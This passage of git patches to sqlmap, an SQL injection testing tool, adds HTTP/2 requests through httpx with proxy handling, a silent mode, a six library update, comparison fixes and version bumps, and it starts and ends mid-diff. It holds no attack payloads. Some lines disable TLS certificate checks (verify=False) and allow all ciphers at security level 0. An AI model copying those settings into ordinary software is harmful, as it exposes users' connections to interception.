conn.http_version, requestMsg, count=1) + + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + def _read(count=None): + offset = conn._read_offset + if count is None: + result = conn._read_buffer[offset:] + conn._read_offset = len(conn._read_buffer) + else: + result = conn._read_buffer[offset: offset + count] + conn._read_offset += len(result) + return result + + conn.read = _read + else: + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) @@ -699,7 +734,7 @@ class _(dict): # Explicit closing of connection object if conn and not conf.keepAlive: try: - if hasattr(conn.fp, '_sock'): + if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception as ex: diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 108281f0110..01184304deb 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -94,6 +94,16 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-ntlm') + try: + __import__("httpx") + debugMsg = "'httpx[http2]' third-party library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'httpx[http2]' third-party library " + warnMsg += "if you plan to use HTTP version 2" + logger.warning(warnMsg) + missing_libraries.add('httpx[http2]') + try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" diff --git a/sqlmap.conf b/sqlmap.conf index 353ed1a504a..8c4001dc48e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -61,6 +61,10 @@ loadCookies = # Valid: True or False dropSetCookie = False +# Use HTTP version 2 (experimental). +# Valid: True or False +http2 = False + # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. From d058cc820de9a83250934abe673d9b982bf3f52d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Feb 2025 23:32:58 +0100 Subject: [PATCH 142/853] Minor fixes for --http2 (#4402) --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 3 ++- lib/core/settings.py | 2 +- lib/request/connect.py | 9 +++++++-- 4 files changed, 13 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9f8158a8517..d617a4be495 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ ec8d94fb704c0a40c88f5f283624cda025e2ea0e8b68722fe156c2b5676f53ac lib/core/dicts 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py 53499dc202a036289e3b2b9699d19568e794d077e16fd3a5c91771983de45451 lib/core/log.py bcb54f1813b3757fe717d7b4f3429fbcd08ff416af1100b716708955702e66d6 lib/core/optiondict.py -ceea031ce1a49a20af689d750d33d057e38a7c631f008872b04f380e2de39bb9 lib/core/option.py +2f007b088aad979f75c4d864603dfc685da5be219ae116f2bb0d6445d2db4f83 lib/core/option.py 81275fdbd463d89a2bfd8c00417a17a872aad74f34c18e44be79c0503e67dfa5 lib/core/patch.py e79df3790f16f67988e46f94b0a516d7ee725967f7698c8e17f210e4052203a7 lib/core/profiling.py c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readlineng.py 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -2511201edc299a8efca0f9f5b55423503ef5e5982c16c4938ec4b0be842abb6f lib/core/settings.py +c031ca6d1fbf0edc82217fb8879e7abc4a8072b06b89e0f02f799e7f81859974 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -211,7 +211,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/comparison.py -40543c462d261c8cec1ec1f68033bd3d7b4e72688aa9eb564b2c474947a449da lib/request/connect.py +b4069953848b81a59e6ce4817ac4705a2f6d2471d1c828a504766db48cf66651 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 2dd88e1f75c0ee54c335d5d0d9199216194aa299bd8ce99dca333c2e4f9ea38b lib/request/httpshandler.py diff --git a/lib/core/option.py b/lib/core/option.py index ce120ad72ca..a530bd1583f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1175,7 +1175,7 @@ def _setHTTPHandlers(): proxyString = "" proxyString += "%s:%d" % (hostname, port) - proxyHandler.proxies = {"http": proxyString, "https": proxyString} + proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) @@ -2151,6 +2151,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.previousMethod = None kb.processNonCustom = None kb.processUserMarks = None + kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.randomPool = {} diff --git a/lib/core/settings.py b/lib/core/settings.py index eb8bc70a337..c3a98fb0636 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.10" +VERSION = "1.9.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bbe3ecb160e..02b485b8c00 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -615,10 +615,15 @@ class _(dict): if conf.http2: try: import httpx - with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj) as client: - conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) except ImportError: raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + + try: + proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if not "://" in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None + with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: + conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) + except httpx.ConnectError as ex: + raise _http_client.HTTPException(getSafeExString(ex)) else: conn.code = conn.status_code conn.msg = conn.reason_phrase From ab5d5b3401ade84c90730b7ce12ff314d76961a3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Feb 2025 23:50:20 +0100 Subject: [PATCH 143/853] Minor update (adding support for silent mode) --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++++- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d617a4be495..563a00eabf3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -c031ca6d1fbf0edc82217fb8879e7abc4a8072b06b89e0f02f799e7f81859974 lib/core/settings.py +10e31751611c9eacabdd2c2514fafc887e00f33969393c4f87145feae32c53cc lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -199,7 +199,7 @@ b1071f449a66b4ceacd4b84b33a73d9e0a3197d271d72daaa406ba473a8bb625 lib/core/testi 12cbead4e9e563b970fafb891127927445bd53bada1fac323b9cd27da551ba30 lib/core/wordlist.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/__init__.py a027f4c44811cb74aa367525f353706de3d3fc719e6c6162f7a61dc838acf0c2 lib/parse/banner.py -f8d1701df33a31920e2ebf9a23fa7b6f4ccd2aff22b4ae1e14b495e51e5939fe lib/parse/cmdline.py +2838467a296a05c6c94ddef1f42f1e7cddee3a9e755143bcb70129233056abad lib/parse/cmdline.py 3907765df08c31f8d59350a287e826bd315a7714dc0e87496f67c8a0879c86ac lib/parse/configfile.py ced03337edd5a16b56a379c9ac47775895e1053003c25f6ba5bec721b6e3aa64 lib/parse/handler.py 3704a02dcf00b0988b101e30b2e0d48acdd20227e46d8b552e46c55d7e9bf28c lib/parse/headers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c3a98fb0636..34f579c5b41 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.11" +VERSION = "1.9.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 298e94c6c31..30951855b17 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1010,6 +1010,10 @@ def _format_action_invocation(self, action): argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" + elif argv[i] in ("-s", "--silent"): + if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): + argv[i] = "" + conf.verbose = 0 elif argv[i].startswith("--data-raw"): argv[i] = argv[i].replace("--data-raw", "--data", 1) elif argv[i].startswith("--auth-creds"): @@ -1018,7 +1022,6 @@ def _format_action_invocation(self, action): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) elif re.search(r"\A--tamper[^=\s]", argv[i]): argv[i] = "" - continue elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) From c0ad1092cb7e9c9649d94019c5ce8291690314bb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Feb 2025 23:57:13 +0100 Subject: [PATCH 144/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 563a00eabf3..1587ff0a8b7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -10e31751611c9eacabdd2c2514fafc887e00f33969393c4f87145feae32c53cc lib/core/settings.py +62bc4931b48279f8965809bbde1139d9294d86bb3b4b4ded50fab600130bc72c lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -211,7 +211,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/comparison.py -b4069953848b81a59e6ce4817ac4705a2f6d2471d1c828a504766db48cf66651 lib/request/connect.py +7345c12a0a1d4c583766b46ba38263cbc4603a85aa4216deddd62958d4e5d596 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 2dd88e1f75c0ee54c335d5d0d9199216194aa299bd8ce99dca333c2e4f9ea38b lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 34f579c5b41..52a3dc7e5ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.12" +VERSION = "1.9.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 02b485b8c00..0fce5106ecb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -622,7 +622,7 @@ class _(dict): proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if not "://" in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) - except httpx.ConnectError as ex: + except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: conn.code = conn.status_code From a1fc4da3eb0ca5441630c88a8f9dea658f05d305 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Feb 2025 12:13:05 +0100 Subject: [PATCH 145/853] Update of six third-party library --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/six/__init__.py | 13 +++++++++---- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1587ff0a8b7..cf3f3a9b397 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -62bc4931b48279f8965809bbde1139d9294d86bb3b4b4ded50fab600130bc72c lib/core/settings.py +1266dca805f171c1f364e43abc30b849842c23504be7f7581a3a4028e3b1e16d lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -620,7 +620,7 @@ ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odi 8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pydes/pyDes.py -1c61d71502a80f642ff34726aa287ac40c1edd8f9239ce2e094f6fded00d00d4 thirdparty/six/__init__.py +c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE 543217f63a4f0a7e7b4f9063058d2173099d54d010a6a4432e15a97f76456520 thirdparty/socks/socks.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 52a3dc7e5ce..2c5e66ec392 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.13" +VERSION = "1.9.2.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index d4fe9849f25..3de5969b1ad 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2020 Benjamin Peterson +# Copyright (c) 2010-2024 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.16.0" +__version__ = "1.17.0" # Useful for very coarse version differentiation. @@ -435,12 +435,17 @@ class Module_six_moves_urllib_request(_LazyModule): MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), MovedAttribute("urlretrieve", "urllib", "urllib.request"), MovedAttribute("urlcleanup", "urllib", "urllib.request"), - MovedAttribute("URLopener", "urllib", "urllib.request"), - MovedAttribute("FancyURLopener", "urllib", "urllib.request"), MovedAttribute("proxy_bypass", "urllib", "urllib.request"), MovedAttribute("parse_http_list", "urllib2", "urllib.request"), MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), ] +if sys.version_info[:2] < (3, 14): + _urllib_request_moved_attributes.extend( + [ + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + ] + ) for attr in _urllib_request_moved_attributes: setattr(Module_six_moves_urllib_request, attr.name, attr) del attr From efd5e2b62b0f6e60722580862d2bcfe8f675510a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2025 16:43:59 +0100 Subject: [PATCH 146/853] Patch related to the #4462 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index cf3f3a9b397..322cdab5011 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -1266dca805f171c1f364e43abc30b849842c23504be7f7581a3a4028e3b1e16d lib/core/settings.py +a038d8cca1fd8037d99c4b09d2e910c346ed4ca8e6d1ce8648e3e9e4859ae674 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -214,7 +214,7 @@ ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/co 7345c12a0a1d4c583766b46ba38263cbc4603a85aa4216deddd62958d4e5d596 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py -2dd88e1f75c0ee54c335d5d0d9199216194aa299bd8ce99dca333c2e4f9ea38b lib/request/httpshandler.py +21d299203a92bc31415811904e1134a0d9e752c5fb111d3ea56605d78724ab3f lib/request/httpshandler.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/request/__init__.py 64442b90c1e02b23db3ed764a0588f9052b96c4690b234af1682b3b7e52d51a8 lib/request/inject.py 6ac4235e40dda2d51b21c2199374eb30d53a5b40869f80055df0ac34fbe59351 lib/request/methodrequest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2c5e66ec392..9d5bb7f5da9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.14" +VERSION = "1.9.2.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c4429d62f19..05aecc98131 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -79,7 +79,7 @@ def create_sock(): try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 - _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") + _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") except (ssl.SSLError, AttributeError): pass result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) From 772eaa2aeecf8d8e0ee1f1a10b91af7bdd20f897 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2025 17:36:02 +0100 Subject: [PATCH 147/853] Minor patch --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/comparison.py | 17 ++++++++++++----- lib/request/httpshandler.py | 1 + 4 files changed, 17 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 322cdab5011..8ca1991003c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -a038d8cca1fd8037d99c4b09d2e910c346ed4ca8e6d1ce8648e3e9e4859ae674 lib/core/settings.py +2d6e17f497c09c7a25225e7c669b5c907aec1dac09c9300dd4ad48a325e2a254 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -210,11 +210,11 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 87109063dd336fe2705fdfef23bc9b340dcc58e410f15c372fab51ea6a1bf4b1 lib/request/basicauthhandler.py 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py -ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/comparison.py +6058fc4fce4b5ce660096d341eab3ae170e5406b31e2e9f51dcf60e7a2b67e68 lib/request/comparison.py 7345c12a0a1d4c583766b46ba38263cbc4603a85aa4216deddd62958d4e5d596 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py -21d299203a92bc31415811904e1134a0d9e752c5fb111d3ea56605d78724ab3f lib/request/httpshandler.py +844fae318d6b3141bfc817aac7a29868497b5e7b4b3fdd7c751ad1d4a485324f lib/request/httpshandler.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/request/__init__.py 64442b90c1e02b23db3ed764a0588f9052b96c4690b234af1682b3b7e52d51a8 lib/request/inject.py 6ac4235e40dda2d51b21c2199374eb30d53a5b40869f80055df0ac34fbe59351 lib/request/methodrequest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d5bb7f5da9..f3615dd1252 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.15" +VERSION = "1.9.2.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0b78a1efdfa..9c95d96e9a6 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -120,7 +120,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): - seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) if any(_ is None for _ in (page, seqMatcher.a)): return None @@ -146,12 +146,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if seq1 is None or seq2 is None: return None - seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") - seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + if isinstance(seq1, six.binary_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq1, six.text_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") + + if isinstance(seq2, six.binary_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq2, six.text_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: - seq1 = seq1.split("\n") - seq2 = seq2.split("\n") + seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") + seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") key = None else: diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 05aecc98131..c472bda9825 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -79,6 +79,7 @@ def create_sock(): try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 + # 